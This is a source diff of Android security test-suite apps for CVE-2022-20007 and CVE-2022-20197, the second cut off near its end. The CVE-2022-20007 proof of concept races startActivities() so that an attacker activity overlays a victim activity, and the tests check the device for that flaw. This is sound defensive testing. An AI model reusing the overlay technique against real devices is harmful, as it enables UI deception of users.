+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20007_second"
+    android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2022-20007-Second"
+        android:process="android.security.cts.CVE_2022_20007"
+        android:supportsRtl="true">
+        <activity
+            android:name=".SecondPocActivity"
+            android:exported="true">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..d327e30
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
new file mode 100644
index 0000000..e112bcd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="fail">1</integer>
+    <integer name="pass">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
new file mode 100644
index 0000000..c20d81c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="resultKey2">result2</string>
+    <string name="sharedPreferences">SharedPreferences</string>
+    <string name="testAppPackage">android.security.cts.CVE_2022_20007</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
new file mode 100644
index 0000000..867da1c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007_second;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class SecondPocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        setSharedPreferenes(getResources().getInteger(R.integer.fail));
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        setSharedPreferenes(getResources().getInteger(R.integer.pass));
+    }
+
+    void setSharedPreferenes(int result) {
+        try {
+            Context testAppContext = createPackageContext(getString(R.string.testAppPackage),
+                    Context.CONTEXT_IGNORE_SECURITY);
+            SharedPreferences sh = testAppContext.getSharedPreferences(
+                    getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey2), result);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore exception here
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
index 713c0ed..0633c69 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
@@ -32,6 +32,7 @@
     static_libs: [
         "androidx.test.core",
         "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
index ea78d62..c5dd6b5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
@@ -17,13 +17,15 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.security.cts.CVE_2022_20007"
+    android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
     android:versionCode="1"
     android:versionName="1.0">
     <application
         android:label="CVE-2022-20007"
+        android:process="android.security.cts.CVE_2022_20007"
         android:supportsRtl="true">
         <activity
-            android:name=".PocActivity"
+            android:name=".FirstPocActivity"
             android:exported="true">
         </activity>
         <activity
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
index 26b15c2..bdb3775 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
@@ -17,6 +17,9 @@
 
 <resources>
     <integer name="assumptionFailure">-1</integer>
-    <integer name="pass">0</integer>
     <integer name="fail">1</integer>
+    <integer name="pass">0</integer>
+    <integer name="permitCount">2</integer>
+    <integer name="threeActivities">3</integer>
+    <integer name="twoActivities">2</integer>
 </resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
index 1368bc2..e9910b7 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
@@ -17,14 +17,22 @@
 
 <resources>
     <string name="assumptionFailureMessage">
-    Assumption failure occurred.
+    Assumption failure occurred. Bounds :
     </string>
+    <string name="attackerActivity">PocAttackerActivity</string>
+    <string name="attackerPkg">android.security.cts.CVE_2022_20007_attacker</string>
+    <string name="boundsNotEqualMessage">Activity bounds are not equal</string>
+    <string name="dumpsysCmd">dumpsys activity %1$s</string>
     <string name="failMessage">
     Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause
-    Not-Paused Background Activity
+    Not-Paused Background Activity. Bounds :
     </string>
+    <string name="mBounds">mBounds</string>
     <string name="messageKey">message</string>
-    <string name="passMessage">Pass</string>
+    <string name="numActivities">numActivities</string>
     <string name="resultKey">result</string>
+    <string name="resultKey2">result2</string>
+    <string name="secondActivity">SecondPocActivity</string>
+    <string name="secondPocAppPkg">android.security.cts.CVE_2022_20007_second</string>
     <string name="sharedPreferences">SharedPreferences</string>
 </resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
index 925da1c..d4828b8 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
@@ -17,18 +17,22 @@
 package android.security.cts.CVE_2022_20007;
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static org.junit.Assert.assertNotEquals;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeNoException;
 import static org.junit.Assume.assumeNotNull;
 import static org.junit.Assume.assumeTrue;
 
-import android.content.ActivityNotFoundException;
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
 import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.util.Log;
 
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -39,6 +43,13 @@
 @RunWith(AndroidJUnit4.class)
 public class DeviceTest {
     private Context mContext = getApplicationContext();
+    private UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+    private boolean mIsVulnerable = true;
+    private boolean mIsVulnerable2 = true;
+    private String mFirstPocActivityBounds = "";
+    private String mSecondPocActivityBounds = "";
+    private String mPocAttackerActivityBounds = "";
+    private SharedPreferences mSharedPrefs = null;
 
     String getStringRes(int key) {
         return mContext != null ? mContext.getResources().getString(key) : null;
@@ -48,44 +59,115 @@
         return mContext != null ? mContext.getResources().getInteger(key) : null;
     }
 
-    @Test
-    public void testRaceCondition() throws Exception {
-        final long timeoutSec = 20L;
-        assumeNotNull(mContext);
+    String getBounds(String activityName) throws Exception {
+        String output =
+                mDevice.executeShellCommand(mContext.getString(R.string.dumpsysCmd, activityName));
+        output = output.substring(output.indexOf(getStringRes(R.string.mBounds)),
+                output.indexOf(")", output.indexOf(getStringRes(R.string.mBounds))) + 1);
+        return output;
+    }
+
+    void launchMainActivity(int numActivities) {
         final Intent intent = new Intent(mContext, PocMainActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+        intent.putExtra(getStringRes(R.string.numActivities), numActivities);
+        mContext.startActivity(intent);
+    }
+
+    void checkResult(String key) {
+        int result = mSharedPrefs.getInt(key, getIntegerRes(R.integer.assumptionFailure));
+        assumeTrue(
+                getStringRes(R.string.assumptionFailureMessage) + mFirstPocActivityBounds + " "
+                        + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+                result != getIntegerRes(R.integer.assumptionFailure));
+        assertFalse(
+                getStringRes(R.string.failMessage) + mFirstPocActivityBounds + " "
+                        + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+                mIsVulnerable && result == getIntegerRes(R.integer.fail));
+    }
+
+    @Test
+    public void testRaceCondition() {
+        final long timeoutSec = 30L;
         try {
-            mContext.startActivity(intent);
-        } catch (ActivityNotFoundException e) {
-            assumeNoException(e);
-        }
-        SharedPreferences sharedPrefs = mContext.getSharedPreferences(
-                getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
-        assumeNotNull(sharedPrefs);
-        final Semaphore preferenceChanged = new Semaphore(0);
-        OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
-            @Override
-            public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
-                if (key.equals(getStringRes(R.string.resultKey))) {
-                    if (sharedPreferences.getInt(key,
-                            getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
-                                    R.integer.pass)) {
-                        preferenceChanged.release();
+            assumeNotNull(mContext);
+            launchMainActivity(getIntegerRes(R.integer.twoActivities));
+            mSharedPrefs = mContext.getSharedPreferences(getStringRes(R.string.sharedPreferences),
+                    Context.MODE_APPEND);
+            assumeNotNull(mSharedPrefs);
+            final Semaphore preferenceChanged = new Semaphore(0);
+            final Semaphore preferenceChanged2 = new Semaphore(0);
+            OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+                @Override
+                public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+                        String key) {
+                    if (key.equals(getStringRes(R.string.resultKey))) {
+                        if (sharedPreferences.getInt(key,
+                                getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+                                        R.integer.pass)) {
+                            preferenceChanged.release();
+                            mIsVulnerable = false;
+                        }
+                    } else if (key.equals(getStringRes(R.string.resultKey2))) {
+                        if (sharedPreferences.getInt(key,
+                                getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+                                        R.integer.pass)) {
+                            preferenceChanged2.release();
+                            mIsVulnerable2 = false;
+                        }
                     }
                 }
-            }
-        };
-        sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
-        try {
+            };
+            mSharedPrefs.registerOnSharedPreferenceChangeListener(listener);
             preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
+
+            // Check if attacker activity is able to overlay victim activity
+            mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+            String attackerActivityName = getStringRes(R.string.attackerPkg) + "/."
+                    + getStringRes(R.string.attackerActivity);
+            mPocAttackerActivityBounds = getBounds(attackerActivityName);
+            Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+            Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+            boolean isValidConfiguration =
+                    mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+            if (isValidConfiguration) {
+                checkResult(getStringRes(R.string.resultKey));
+            } else {
+                // Device might have 2 task display areas. Detect vulnerability in this case.
+                mDevice.pressHome();
+                assumeTrue(mDevice.wait(Until.gone(By.pkg(mContext.getPackageName())), timeoutSec));
+                mIsVulnerable = true;
+                mIsVulnerable2 = true;
+                launchMainActivity(getIntegerRes(R.integer.threeActivities));
+                preferenceChanged.tryAcquire(getIntegerRes(R.integer.permitCount), timeoutSec,
+                        TimeUnit.SECONDS);
+                preferenceChanged2.tryAcquire(timeoutSec, TimeUnit.SECONDS);
+
+                // check if attacker activity is able to overlay any of the victim activities
+                mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+                String secondActivityName = getStringRes(R.string.secondPocAppPkg) + "/."
+                        + getStringRes(R.string.secondActivity);
+                mSecondPocActivityBounds = getBounds(secondActivityName);
+                mPocAttackerActivityBounds = getBounds(attackerActivityName);
+                Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+                Log.e("DeviceTest", "mSecondPocActivityBounds=" + mSecondPocActivityBounds);
+                Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+                isValidConfiguration = mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+                boolean isValidConfiguration2 =
+                        mSecondPocActivityBounds.equals(mPocAttackerActivityBounds);
+                assumeTrue(
+                        getStringRes(R.string.boundsNotEqualMessage) + mFirstPocActivityBounds + " "
+                                + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+                        isValidConfiguration || isValidConfiguration2);
+
+                if (isValidConfiguration) {
+                    checkResult(getStringRes(R.string.resultKey));
+                } else {
+                    checkResult(getStringRes(R.string.resultKey2));
+                }
+            }
+        } catch (Exception e) {
             assumeNoException(e);
         }
-        int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
-                getIntegerRes(R.integer.assumptionFailure));
-        String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
-                getStringRes(R.string.assumptionFailureMessage));
-        assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
-        assertNotEquals(message, result, getIntegerRes(R.integer.fail));
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
similarity index 67%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
index 038335e..c89986b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
@@ -21,29 +21,35 @@
 import android.content.SharedPreferences;
 import android.os.Bundle;
 
-public class PocActivity extends Activity {
+public class FirstPocActivity extends Activity {
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
-        setSharedPreferenes(getResources().getInteger(R.integer.fail),
-                getString(R.string.failMessage));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        setSharedPreferenes(getResources().getInteger(R.integer.fail));
     }
 
     @Override
     protected void onPause() {
         super.onPause();
-        setSharedPreferenes(getResources().getInteger(R.integer.pass),
-                getString(R.string.passMessage));
+        setSharedPreferenes(getResources().getInteger(R.integer.pass));
     }
 
-    void setSharedPreferenes(int result, String message) {
-        SharedPreferences sh =
-                getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
-        SharedPreferences.Editor edit = sh.edit();
-        edit.putInt(getString(R.string.resultKey), result);
-        edit.putString(getString(R.string.messageKey), message);
-        edit.commit();
+    void setSharedPreferenes(int result) {
+        try {
+            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor edit = sh.edit();
+            edit.putInt(getString(R.string.resultKey), result);
+            edit.commit();
+        } catch (Exception e) {
+            // ignore exception here
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
index 7a4e841..94de7f0 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
@@ -17,7 +17,6 @@
 package android.security.cts.CVE_2022_20007;
 
 import android.app.Activity;
-import android.content.ActivityNotFoundException;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -30,30 +29,48 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.activity_main);
-        launchAttack();
-    }
-
-    public void launchAttack() {
-        String testPkgName = getPackageName();
-        final Intent coverIntent = new Intent();
-        coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker",
-                "android.security.cts.CVE_2022_20007_attacker.PocActivity"));
-        coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION |
-                Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
-        final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class);
-        victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
-        Intent[] intents = {victimIntent, coverIntent};
         try {
-            startActivities(intents);
-        } catch (ActivityNotFoundException e) {
-            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
-                    Context.MODE_PRIVATE);
-            SharedPreferences.Editor edit = sh.edit();
-            edit.putInt(getString(R.string.resultKey),
-                    getResources().getInteger(R.integer.assumptionFailure));
-            edit.putString(getString(R.string.messageKey),
-                    getString(R.string.assumptionFailureMessage));
-            edit.commit();
+            String testPkgName = getPackageName();
+            final Intent coverIntent = new Intent();
+            coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg),
+                    getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity)));
+            coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK
+                    | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+            final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class);
+            victimIntent
+                    .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+            int numActivities = getIntent().getIntExtra(getString(R.string.numActivities),
+                    /* default */ getResources().getInteger(R.integer.twoActivities));
+            if (numActivities == getResources().getInteger(R.integer.twoActivities)) {
+                Intent[] intents = {victimIntent, coverIntent};
+                startActivities(intents);
+            } else {
+                final Intent secondVictimIntent = new Intent();
+                secondVictimIntent.setComponent(new ComponentName(
+                        getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg)
+                                + "." + getString(R.string.secondActivity)));
+                secondVictimIntent.setFlags(
+                        Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+                startActivity(victimIntent);
+
+                // wait to prevent both the victim activities from getting launched on same display
+                Thread.sleep(5000);
+                Intent[] intents2 = {secondVictimIntent, coverIntent};
+                startActivities(intents2);
+            }
+        } catch (Exception e) {
+            try {
+                SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+                        Context.MODE_PRIVATE);
+                SharedPreferences.Editor edit = sh.edit();
+                edit.putInt(getString(R.string.resultKey),
+                        getResources().getInteger(R.integer.assumptionFailure));
+                edit.putString(getString(R.string.messageKey),
+                        getString(R.string.assumptionFailureMessage));
+                edit.commit();
+            } catch (Exception ex) {
+                // ignore exception here
+            }
         }
     }
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
new file mode 100644
index 0000000..582076e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20197",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.core",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
new file mode 100644
index 0000000..3ea2a62
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2022_20197">
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2022_20197" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
new file mode 100644
index 0000000..c9a9407
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="vulnerableMsg">Device is vulnerable to b/208279300!</string>
+    <string name="stringObj">CVE_2022_20197</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
new file mode 100644
index 0000000..a7b5618
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20197;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.res.Resources;
+import android.os.Parcel;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testParcel() {
+        try {
+            Resources resources = getApplicationContext().getResources();
+            Parcel parcel = Parcel.obtain();
+            Object cookie = (Object) resources.getString(R.string.stringObj);
+            parcel.setClassCookie(PendingIntent.class, cookie);
+            parcel.recycle();
+            Object value = parcel.getClassCookie(PendingIntent.class);
+            assertNull(resources.getString(R.string.vulnerableMsg), value);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
index 6257834..4a250ce 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
@@ -15,16 +15,18 @@
  limitations under the License.
 -->
 <resources>
-    <string name="appSettingsIconResId">com.android.settings:id/app_restrictions_settings</string>
+    <string name="allowAppsTextResId">restricted_profile_configure_apps_title</string>
